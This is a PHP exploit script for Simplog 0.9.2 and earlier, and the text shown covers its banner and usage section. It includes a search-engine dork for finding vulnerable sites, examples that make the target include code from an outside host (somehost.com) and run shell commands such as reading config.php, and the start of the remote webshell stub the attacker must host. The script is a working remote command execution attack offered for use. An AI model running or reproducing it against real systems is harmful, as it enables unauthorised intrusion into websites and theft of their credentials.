#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Simplog <= 0.9.2 \"s\" remote cmmnds xctn\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: intext:\"Powered by simplog\"\r\n\r\n";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to simplog\r\n";
echo "location: an arbitrary location with the code to include\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com ls -la\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com/subdir ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / http://somehost.com cat ./../config.php -P1.1.1.1:80\r\n\r\n";
echo "note, you need this code in http://somehost.com/suntzu.html:\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";